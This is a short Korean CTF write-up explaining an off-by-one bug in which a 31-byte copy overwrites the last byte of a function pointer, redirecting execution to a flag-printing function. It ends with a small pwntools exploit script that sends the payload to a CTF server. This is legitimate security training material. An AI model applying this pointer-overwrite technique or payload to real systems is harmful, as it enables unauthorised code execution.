Lucvs 2020. 8. 28. 17:53

main 함수이다. gets로 입력받고 select_func()로 넘어간다.

 

select_func() 이다. 31 bytes 만큼 src에서 dest에 복사한다. 또한 마지막에 v3()를 return 한다.

 

여기서 dest와 v3 의 거리가 30 bytes 차이나고 처음에 v3 = two 로 초기화한다. 그리고 31 bytes 만큼 src에서 복사를 하여 dest에 저장하므로 여기서 v3의 마지막 1 byte가 overwrite 된다. 이를 이용하여 src의 31번째 byte가 다른 함수의 offset 이라면 마지막에 v3가 return 될 때 two 가 아니라 그 다른 함수가 실행될 것이다.

 

flag를 바로 출력시켜주는 함수인 것 같다.

 

one / two

 

각 함수들의 주소들이다. 문제의 초점인 offset을 위하여 주소값이 아주 낮게 설정되어 있는 것 같다. 이제 함수들의 주소도 구했으니 flag를 얻어보자.

 

exploit코드를 짜서 exploit 하자.

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3007)

payload = "\x90"*30
payload += "\xd8"

r.recvline()
r.sendline(payload)
r.interactive()